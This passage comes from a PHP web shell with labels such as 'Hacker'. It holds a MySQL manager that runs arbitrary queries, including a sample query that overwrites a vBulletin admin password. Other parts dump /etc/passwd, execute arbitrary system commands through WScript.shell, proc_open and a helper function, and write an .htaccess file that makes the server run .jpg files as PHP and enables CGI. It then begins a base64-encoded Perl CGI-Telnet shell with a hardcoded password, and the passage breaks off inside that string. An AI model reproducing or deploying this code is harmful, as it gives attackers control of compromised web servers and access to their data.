776 foreach($insertsql as $key => $val) {
777 $valstr .= $tmp.$key."='".addslashes($val)."'";
778 $tmp = ',';
779 }
780 if ($valstr) {
781 $where = base64_decode($base64);
782 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
783 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
784 }
785 }
786 if ($doing == 'del' && $base64) {
787 $where = base64_decode($base64);
788 $delete_sql = "DELETE FROM $tablename WHERE $where";
789 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
790 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
791 }
792
793 if ($tablename && $doing == 'drop') {
794 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
795 if (q("DROP TABLE $tablename")) {
796 m('Drop table of success');
797 $tablename = '';
798 } else {
799 m(mysql_error());
800 }
801 }
802
803 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
804
805 formhead(array('title'=>'MYSQL Manager'));
806 makehide('action','sqladmin');
807 p('<p>');
808 p('DBHost:');
809 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
810 p(':');
811 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
812 p('DBUser:');
813 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
814 p('DBPass:');
815 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
816 p('DBCharset:');
817 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
818 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
819 p('</p>');
820 formfoot();
821?>
822<script type="text/javascript">
823function editrecord(action, base64, tablename){
824 if (action == 'del') {
825 if (!confirm('Is or isn\'t deletion record?')) return;
826 }
827 $('recordlist').doing.value=action;
828 $('recordlist').base64.value=base64;
829 $('recordlist').tablename.value=tablename;
830 $('recordlist').submit();
831}
832function moddbname(dbname) {
833 if(!dbname) return;
834 $('setdbname').dbname.value=dbname;
835 $('setdbname').submit();
836}
837function settable(tablename,doing,page) {
838 if(!tablename) return;
839 if (doing) {
840 $('settable').doing.value=doing;
841 }
842 if (page) {
843 $('settable').page.value=page;
844 }
845 $('settable').tablename.value=tablename;
846 $('settable').submit();
847}
848</script>
849<?php
850 // SQL
851 formhead(array('name'=>'recordlist'));
852 makehide('doing');
853 makehide('action','sqladmin');
854 makehide('base64');
855 makehide('tablename');
856 p($dbform);
857 formfoot();
858
859 // Data
860 formhead(array('name'=>'setdbname'));
861 makehide('action','sqladmin');
862 p($dbform);
863 if (!$dbname) {
864 makehide('dbname');
865 }
866 formfoot();
867
868
869 formhead(array('name'=>'settable'));
870 makehide('action','sqladmin');
871 p($dbform);
872 makehide('tablename');
873 makehide('page',$page);
874 makehide('doing');
875 formfoot();
876
877 $cachetables = array();
878 $pagenum = 30;
879 $page = intval($page);
880 if($page) {
881 $start_limit = ($page - 1) * $pagenum;
882 } else {
883 $start_limit = 0;
884 $page = 1;
885 }
886 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
887 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
888 // get mysql server
889 $mysqlver = mysql_get_server_info();
890 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
891 $highver = $mysqlver > '4.1' ? 1 : 0;
892
893 // Show database
894 $query = q("SHOW DATABASES");
895 $dbs = array();
896 $dbs[] = '-- Select a database --';
897 while($db = mysql_fetch_array($query)) {
898 $dbs[$db['Database']] = $db['Database'];
899 }
900 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
901 $tabledb = array();
902 if ($dbname) {
903 p('<p>');
904 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
905 if ($tablename) {
906 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
907 }
908 p('</p>');
909 mysql_select_db($dbname);
910
911 $getnumsql = '';
912 $runquery = 0;
913 if ($sql_query) {
914 $runquery = 1;
915 }
916 $allowedit = 0;
917 if ($tablename && !$sql_query) {
918 $sql_query = "SELECT * FROM $tablename";
919 $getnumsql = $sql_query;
920 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
921 $allowedit = 1;
922 }
923 p('<form acti
924 ="'.$self.'" method="POST">');
925 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>Hacker Nguyá»…n</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
926 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
927 makehide('tablename', $tablename);
928 makehide('action','sqladmin');
929 p($dbform);
930 p('</form>');
931 if ($tablename || ($runquery && $sql_query)) {
932 if ($doing == 'structure') {
933 $result = q("SHOW COLUMNS FROM $tablename");
934 $rowdb = array();
935 while($row = mysql_fetch_array($result)) {
936 $rowdb[] = $row;
937 }
938 p('<table border="0" cellpadding="3" cellspacing="0">');
939 p('<tr class="head">');
940 p('<td>Field</td>');
941 p('<td>Type</td>');
942 p('<td>Null</td>');
943 p('<td>Key</td>');
944 p('<td>Default</td>');
945 p('<td>Extra</td>');
946 p('</tr>');
947 foreach ($rowdb as $row) {
948 $thisbg = bg();
949 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
950 p('<td>'.$row['Field'].'</td>');
951 p('<td>'.$row['Type'].'</td>');
952 p('<td>'.$row['Null'].' </td>');
953 p('<td>'.$row['Key'].' </td>');
954 p('<td>'.$row['Default'].' </td>');
955 p('<td>'.$row['Extra'].' </td>');
956 p('</tr>');
957 }
958 tbfoot();
959 } elseif ($doing == 'insert' || $doing == 'edit') {
960 $result = q('SHOW COLUMNS FROM '.$tablename);
961 while ($row = mysql_fetch_array($result)) {
962 $rowdb[] = $row;
963 }
964 $rs = array();
965 if ($doing == 'insert') {
966 p('<h2>Insert new line in '.$tablename.' table »</h2>');
967 } else {
968 p('<h2>Update record in '.$tablename.' table »</h2>');
969 $where = base64_decode($base64);
970 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
971 $rs = mysql_fetch_array($result);
972 }
973 p('<form method="post" action="'.$self.'">');
974 p($dbform);
975 makehide('action','sqladmin');
976 makehide('tablename',$tablename);
977 p('<table border="0" cellpadding="3" cellspacing="0">');
978 foreach ($rowdb as $row) {
979 if ($rs[$row['Field']]) {
980 $value = htmlspecialchars($rs[$row['Field']]);
981 } else {
982 $value = '';
983 }
984 $thisbg = bg();
985 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
986 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
987 }
988 if ($doing == 'insert') {
989 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
990 } else {
991 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
992 makehide('base64', $base64);
993 }
994 p('</table></form>');
995 } else {
996 $querys = @explode(';',$sql_query);
997 foreach($querys as $num=>$query) {
998 if ($query) {
999 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1000 switch(qy($query))
1001 {
1002 case 0:
1003 p('<h2>Error : '.mysql_error().'</h2>');
1004 break;
1005 case 1:
1006 if (strtolower(substr($query,0,13)) == 'select * from') {
1007 $allowedit = 1;
1008 }
1009 if ($getnumsql) {
1010 $tatol = mysql_num_rows(q($getnumsql));
1011 $multipage = multi($tatol, $pagenum, $page, $tablename);
1012 }
1013 if (!$tablename) {
1014 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1015 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1016 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1017 $tablename = $matches[1][0];
1018 }
1019 $result = q($query);
1020 p($multipage);
1021 p('<table border="0" cellpadding="3" cellspacing="0">');
1022 p('<tr class="head">');
1023 if ($allowedit) p('<td>Action</td>');
1024 $fieldnum = @mysql_num_fields($result);
1025 for($i=0;$i<$fieldnum;$i++){
1026 $name = @mysql_field_name($result, $i);
1027 $type = @mysql_field_type($result, $i);
1028 $len = @mysql_field_len($result, $i);
1029 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1030 }
1031 p('</tr>');
1032 while($mn = @mysql_fetch_assoc($result)){
1033 $thisbg = bg();
1034 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1035 $where = $tmp = $b1 = '';
1036 foreach($mn as $key=>$inside){
1037 if ($inside) {
1038 $where .= $tmp.$key."='".addslashes($inside)."'";
1039 $tmp = ' AND ';
1040 }
1041 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1042 }
1043 $where = base64_encode($where);
1044 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Xóa</a></td>');
1045 p($b1);
1046 p('</tr>');
1047 unset($b1);
1048 }
1049 tbfoot();
1050 p($multipage);
1051 break;
1052 case 2:
1053 $ar = mysql_affected_rows();
1054 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1055 break;
1056 }
1057 }
1058 }
1059 }
1060 } else {
1061 $query = q("SHOW TABLE STATUS");
1062 $table_num = $table_rows = $data_size = 0;
1063 $tabledb = array();
1064 while($table = mysql_fetch_array($query)) {
1065 $data_size = $data_size + $table['Data_length'];
1066 $table_rows = $table_rows + $table['Rows'];
1067 $table['Data_length'] = sizecount($table['Data_length']);
1068 $table_num++;
1069 $tabledb[] = $table;
1070 }
1071 $data_size = sizecount($data_size);
1072 unset($table);
1073 p('<table border="0" cellpadding="0" cellspacing="0">');
1074 p('<form action="'.$self.'" method="POST">');
1075 makehide('action','sqladmin');
1076 p($dbform);
1077 p('<tr class="head">');
1078 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1079 p('<td>Name</td>');
1080 p('<td>Rows</td>');
1081 p('<td>Data_length</td>');
1082 p('<td>Create_time</td>');
1083 p('<td>Update_time</td>');
1084 if ($highver) {
1085 p('<td>Engine</td>');
1086 p('<td>Collation</td>');
1087 }
1088 p('</tr>');
1089 foreach ($tabledb as $key => $table) {
1090 $thisbg = bg();
1091 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1092 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1093 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1094 p('<td>'.$table['Rows'].'</td>');
1095 p('<td>'.$table['Data_length'].'</td>');
1096 p('<td>'.$table['Create_time'].'</td>');
1097 p('<td>'.$table['Update_time'].'</td>');
1098 if ($highver) {
1099 p('<td>'.$table['Engine'].'</td>');
1100 p('<td>'.$table['Collation'].'</td>');
1101 }
1102 p('</tr>');
1103 }
1104 p('<tr class=fout>');
1105 p('<td> </td>');
1106 p('<td>Total tables: '.$table_num.'</td>');
1107 p('<td>'.$table_rows.'</td>');
1108 p('<td>'.$data_size.'</td>');
1109 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1110 p('</tr>');
1111
1112 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1113 makehide('doing','backupmysql');
1114 formfoot();
1115 p("</table>");
1116 fr($query);
1117 }
1118 }
1119 }
1120 tbfoot();
1121 @mysql_close();
1122}//end sql backup
1123
1124elseif ($action == 'etcpwd') {
1125formhead(array('title'=>'Get /etc/passwd'));
1126 makehide('action','etcpwd');
1127 makehide('dir',$nowpath);
1128$i = 0;
1129 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1130while ($i < 60000) {
1131
1132 $line = posix_getpwuid($i);
1133 if (!empty($line)) {
1134
1135 while (list ($key, $vba_etcpwd) = each($line)){
1136 echo "".$vba_etcpwd."\n";
1137 break;
1138 }
1139
1140 }
1141
1142 $i++;
1143}
1144 echo "</textarea></p>";
1145 formfoot();
1146}
1147elseif ($action == 'command') {
1148 formhead(array('title'=>'Chức năng dà nh cho hacker sỠdụng CMD'));
1149 makehide('action','shell');
1150 if (IS_WIN && IS_COM) {
1151 $execfuncdb = array('phpfunc'=>'Hacker');
1152 makeselect(array('title'=>'Lá»±a Chá»n:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1153 }
1154 p('<p>');
1155 makeinput(array('title'=>'Nháºp Lệnh','name'=>'command','value'=>$command));
1156 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Thực Hiện'));
1157 p('</p>');
1158 formfoot();
1159
1160 if ($command) {
1161 p('<hr width="100%" noshade /><pre>');
1162 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1163 $wsh = new COM('WScript.shell');
1164 $exec = $wsh->exec('cmd.exe /c '.$command);
1165 $stdout = $exec->StdOut();
1166 $stroutput = $stdout->ReadAll();
1167 echo $stroutput;
1168 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1169 $descriptorspec = array(
1170 0 => array('pipe', 'r'),
1171 1 => array('pipe', 'w'),
1172 2 => array('pipe', 'w')
1173 );
1174 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1175 if (is_resource($process)) {
1176 fwrite($pipes[0], $command."\r\n");
1177 fwrite($pipes[0], "exit\r\n");
1178 fclose($pipes[0]);
1179 while (!feof($pipes[1])) {
1180 echo fgets($pipes[1], 1024);
1181 }
1182 fclose($pipes[1]);
1183 while (!feof($pipes[2])) {
1184 echo fgets($pipes[2], 1024);
1185 }
1186 fclose($pipes[2]);
1187 proc_close($process);
1188 }
1189 } else {
1190 echo(execute($command));
1191 }
1192 p('</pre>');
1193 }
1194}//end etcpwd
1195elseif ($action == 'error.log') {
1196 mkdir('error', 0755);
1197 chdir('error');
1198 $kokdosya = ".htaccess";
1199 $dosya_adi = "$kokdosya";
1200 $dosya = fopen ($dosya_adi , 'w') or die ("Can not open file!");
1201 $metin = "Options +FollowSymLinks +Indexes
1202DirectoryIndex default.html
1203## START ##
1204Options +ExecCGI
1205AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1206AddType application/x-httpd-php .jpg
1207RewriteEngine on
1208RewriteRule (.*)\.war$ .log
1209## END ##";
1210 fwrite ( $dosya , $metin ) ;
1211 fclose ($dosya);
1212$pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS41IjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+QWthc2hpIEppcm8gQDIwMTM8L2ZvbnQ+IjsNCg0KJFBhc3N3b3JkID0gImoxcjAiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcw0KCQkJCSMgdG8gbG9naW4uDQpzdWIgSXNfV2luKCl7DQoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOw0KCWlmKCRvcyA9fiBtL3dpbi9pKXsNCgkJcmV0dXJuIDE7DQoJfWVsc2V7DQoJCXJldHVybiAwOw0KCX0NCn0NCiRXaW5OVCA9ICZJc19XaW4oKTsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuDQoJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KJGNvbHM9IDEzMDsNCiRyb3dzPSAyNjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQ0KCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQ0KCXsNCgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyANCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgDQoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07DQoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsNCgkJJEhlYWRlciA9ICRgOw0KCQkkQm9keSA9ICQnOw0KIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQ0KCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsNCgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyANCgkJJGlueydmJ30gPSAkMTsgDQoJCSRpbnsnZid9ID1+IHMvXCIvL2c7DQoJCSRpbnsnZid9ID1+IHMvXHMvL2c7DQoNCgkJIyBwYXJzZSB0cmFpbGVyDQoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspDQoJCXsgDQoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsNCgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsNCgkJCSRrZXkgPSAkMTsNCgkJCSR2YWwgPSAkJzsNCgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9ID0gJHZhbDsgDQoJCX0NCgl9DQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpDQoJew0KCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7DQoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikNCgkJew0KCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsNCgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7DQoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT4kRU5WeydTRVJWRVJfTkFNRSd9IHwgSVAgOiAkRU5WeydTRVJWRVJfQUREUid9IDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmZjsNCn0NCnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KfQ0KI2RvbWFpbiB0cjpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6ICM0NDQ7DQp9DQp0ZCB7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi5saXN0ZGlyIHRkew0KCXRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5saXN0ZGlyIHRoew0KCWNvbG9yOiAjRkY5OTAwOw0KfQ0KLmRpciwuZmlsZQ0Kew0KCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsNCn0NCi5kaXJ7DQoJZm9udC1zaXplOiAxMHB0OyANCglmb250LXdlaWdodDogYm9sZDsNCn0NCnRhYmxlIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMx